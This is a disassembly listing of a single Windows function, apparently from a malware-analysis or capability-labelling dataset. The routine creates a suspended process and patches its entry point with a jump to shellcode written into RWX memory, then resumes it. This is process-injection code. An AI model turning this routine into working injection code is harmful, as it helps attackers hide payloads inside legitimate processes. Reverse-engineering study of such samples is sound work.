Function at 0x100546f0
Capabilities:
Allocate or change rwx memory
Get system information on windows
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e3368
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x1013dd8c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x120], 0
push 0x40
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.100a57f0
add esp, 0xc
mov dword [ebp - 0x6c], 0
xor ecx, ecx
mov dword [ebp - 0x68], ecx
mov dword [ebp - 0x64], ecx
mov dword [ebp - 0x60], ecx
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0xdc], 0
xor edx, edx
mov dword [ebp - 0xd8], edx
mov dword [ebp - 0xd4], edx
mov dword [ebp - 0xd0], edx
mov dword [ebp - 0xcc], edx
mov dword [ebp - 0xc8], edx
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], edx
xorps xmm0, xmm0
movlpd qword [ebp - 0x88], xmm0
mov dword [ebp - 0x74], 0
mov dword [ebp - 0x9c], 0
push 0x100e98e8
lea ecx, [ebp - 0x44]
call fcn.10012560
mov dword [ebp - 4], 0
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
movlpd qword [ebp - 0x4c], xmm0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x78], 0
cmp dword [ebp + 0xc], 0
jne 0x1005481c
call fcn.1005e290
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x1005481c
mov dword [ebp - 0xa0], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10012470
mov eax, dword [ebp - 0xa0]
jmp 0x10054e7a
xor eax, eax
mov word [ebp - 0xf0], ax
mov ecx, dword [ebp - 0xf4]
or ecx, 1
mov dword [ebp - 0xf4], ecx
lea edx, [ebp - 0x44]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1005e190
add esp, 8
lea ecx, [ebp - 0x6c]
push ecx
lea edx, [ebp - 0x120]
push edx
push 3
lea ecx, [ebp - 0x44]
call fcn.10012400
push eax
push 0
mov ecx, dword [ebp + 8]
call fcn.10012400
push eax
mov eax, dword [ebp + 0xc]
push eax
call fcn.1005af70
test eax, eax
jne 0x100548ac
mov ecx, dword [ebp + 8]
call fcn.10012400
push eax
push str.createZombieProcess:_create__s_and_suspend_failure__
call fcn.1005b550
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10012470
mov eax, dword [ebp - 0xa4]
jmp 0x10054e7a
lea ecx, [ebp - 0xdc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
movzx edx, word [ebp - 0xdc]
cmp edx, 9
jne 0x10054911
mov dword [ebp - 0x8c], 0
lea eax, [ebp - 0x8c]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
test eax, eax
jne 0x100548e9
jmp 0x10054dbd
cmp dword [ebp - 0x8c], 0
jne 0x100548fe
mov dword [ebp - 0x90], 1
jmp 0x10054908
mov dword [ebp - 0x90], 0
mov edx, dword [ebp - 0x90]
mov dword [ebp - 0x74], edx
push str.createZombieProcess:_query_image_base
call fcn.1005b550
add esp, 4
cmp dword [ebp - 0x74], 0
je 0x10054942
lea eax, [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.100545f0
add esp, 8
test eax, eax
jne 0x10054940
jmp 0x10054dbd
jmp 0x1005495e
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x6c]
push eax
call fcn.100544f0
add esp, 8
test eax, eax
jne 0x1005495e
jmp 0x10054dbd
push 1
push 0x400
call fcn.100adf4a
add esp, 8
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0
jne 0x1005497b
jmp 0x10054dbd
push str.createZombieProcess:_read_image_header_and_confirm_OEP
call fcn.1005b550
add esp, 4
cmp dword [ebp - 0x74], 0
je 0x100549be
push 0
push 0x400
mov ecx, dword [ebp - 0x70]
push ecx
mov edx, dword [ebp - 0x84]
push edx
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.1001d440
add esp, 0x18
test eax, eax
jne 0x100549bc
jmp 0x10054dbd
jmp 0x100549e3
push 0
push 0x400
mov edx, dword [ebp - 0x70]
push edx
mov eax, dword [ebp - 0x88]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x100549e3
jmp 0x10054dbd
push 0x400
mov edx, dword [ebp - 0x70]
push edx
call fcn.10054ea0
add esp, 8
mov dword [ebp - 0x80], eax
cmp dword [ebp - 0x80], 0
jne 0x10054a02
jmp 0x10054dbd
push str.createZombieProcess:_writing_shellcode
call fcn.1005b550
add esp, 4
mov eax, dword [ebp - 0x80]
xor ecx, ecx
add eax, dword [ebp - 0x88]
adc ecx, dword [ebp - 0x84]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], ecx
cmp dword [ebp - 0x74], 0
je 0x10054b9d
mov byte [ebp - 0x24], 0x48
mov byte [ebp - 0x23], 0xb8
mov byte [ebp - 0x22], 0
mov byte [ebp - 0x21], 0
mov byte [ebp - 0x20], 0
mov byte [ebp - 0x1f], 0
mov byte [ebp - 0x1e], 0
mov byte [ebp - 0x1d], 0
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0
mov byte [ebp - 0x1a], 0xff
mov byte [ebp - 0x19], 0xe0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x94], 0x112
push 1
push 0x112
call fcn.100adf4a
add esp, 8
mov dword [ebp - 0x50], eax
mov edx, dword [ebp - 0x50]
mov dword [ebp - 0x7c], edx
cmp dword [ebp - 0x50], 0
jne 0x10054a94
jmp 0x10054d26
push 0x112
push 0x1013d8a8
mov eax, dword [ebp - 0x50]
push eax
call fcn.100a5270
add esp, 0xc
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x5c]
mov dword [ecx + 0x13], edx
mov eax, dword [ebp - 0x58]
mov dword [ecx + 0x17], eax
push 0
push 0xe
mov ecx, dword [ebp - 0x50]
add ecx, 5
push ecx
mov edx, dword [ebp - 0x58]
push edx
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.1001d440
add esp, 0x18
test eax, eax
jne 0x10054ae1
jmp 0x10054d26
push 0x40
push 0x101000
push 0x112
push 0
push 0
mov edx, dword [ebp - 0x6c]
push edx
call fcn.1001d1b0
add esp, 0x18
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov eax, dword [ebp - 0x4c]
or eax, dword [ebp - 0x48]
jne 0x10054b10
jmp 0x10054d26
push 0
push 0x112
mov ecx, dword [ebp - 0x50]
push ecx
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.1001d520
add esp, 0x18
test eax, eax
jne 0x10054b38
jmp 0x10054d26
lea edx, [ebp - 0xa8]
push edx
push 0x40
push 0xc
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call fcn.1001d360
add esp, 0x18
test eax, eax
jne 0x10054b60
jmp 0x10054d26
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x22], eax
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x1e], ecx
push 0
push 0xc
lea edx, [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x58]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call fcn.1001d520
add esp, 0x18
test eax, eax
jne 0x10054b91
jmp 0x10054d26
mov dword [ebp - 0x78], 1
jmp 0x10054d1e
mov byte [ebp - 0x18], 0xe9
mov byte [ebp - 0x17], 0
mov byte [ebp - 0x16], 0
mov byte [ebp - 0x15], 0
mov byte [ebp - 0x14], 0
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x94], 0xac
push 1
push 0xac
call fcn.100adf4a
add esp, 8
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x7c], eax
cmp dword [ebp - 0x54], 0
jne 0x10054be5
jmp 0x10054d26
push 0xac
push 0x1013d9c0
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.100a5270
add esp, 0xc
mov edx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x54]
mov dword [eax + 0xa], edx
push 0
push 5
mov ecx, dword [ebp - 0x54]
add ecx, 5
push ecx
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10054c26
jmp 0x10054d26
push 0x40
push 0x1000
push 0xac
push 0
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cdq
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], edx
mov edx, dword [ebp - 0x4c]
or edx, dword [ebp - 0x48]
jne 0x10054c52
jmp 0x10054d26
push 0
push 0xac
mov eax, dword [ebp - 0x54]
push eax
mov ecx, dword [ebp - 0x4c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10054c74
jmp 0x10054d26
lea eax, [ebp - 0xa8]
push eax
push 0x40
push 4
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x10054c96
jmp 0x10054d26
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x5c]
add ecx, 5
sub eax, ecx
mov dword [ebp - 0x17], eax
push 0
push 5
lea edx, [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x5c]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x10054cc0
jmp 0x10054d26
push str.createZombieProcess:_verify_memory_of_OEP...
call fcn.1005b550
add esp, 4
mov byte [ebp - 0x2c], 0
xor edx, edx
mov dword [ebp - 0x2b], edx
push 0
push 5
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp - 0x5c]
push ecx
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x10054cf2
jmp 0x10054d26
push 5
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x18]
push ecx
call fcn.100a5a7b
add esp, 0xc
test eax, eax
je 0x10054d17
push str.OEPs_code_is_wrong__
call fcn.1005b550
add esp, 4
jmp 0x10054d26
mov dword [ebp - 0x78], 1
xor edx, edx
jne 0x10054a0f
cmp dword [ebp - 0x78], 0
je 0x10054d38
mov dword [ebp - 0x98], 0x100e99f4
jmp 0x10054d42
mov dword [ebp - 0x98], 0x100e99fc
mov eax, dword [ebp - 0x98]
push eax
push str.createZombieProcess:_no_error___s
call fcn.1005b550
add esp, 8
cmp dword [ebp - 0x78], 0
jne 0x10054da2
mov ecx, dword [ebp - 0x4c]
or ecx, dword [ebp - 0x48]
je 0x10054da2
cmp dword [ebp - 0x74], 0
je 0x10054d8a
push 0x8000
push 0x112
mov edx, dword [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x4c]
push eax
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.1001d290
add esp, 0x14
jmp 0x10054da2
push 0x8000
push 0xac
mov edx, dword [ebp - 0x4c]
push edx
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
cmp dword [ebp - 0x7c], 0
je 0x10054db4
mov ecx, dword [ebp - 0x7c]
push ecx
call fcn.100a9867
add esp, 4
mov edx, dword [ebp - 0x78]
mov dword [ebp - 0x9c], edx
cmp dword [ebp - 0x9c], 0
jne 0x10054df6
push 0
mov eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov dword [ebp - 0xac], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10012470
mov eax, dword [ebp - 0xac]
jmp 0x10054e7a
mov ecx, dword [ebp - 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x7d0
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x102
je 0x10054e42
mov dword [ebp - 0xb4], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10012470
mov eax, dword [ebp - 0xb4]
jmp 0x10054e7a
cmp dword [ebp + 0x10], 0
je 0x10054e52
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x68]
mov dword [eax], ecx
jmp 0x10054e5c
mov edx, dword [ebp - 0x68]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x6c]
mov dword [ebp - 0xb8], eax
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.10012470
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10065961
mov esp, ebp
pop ebp
ret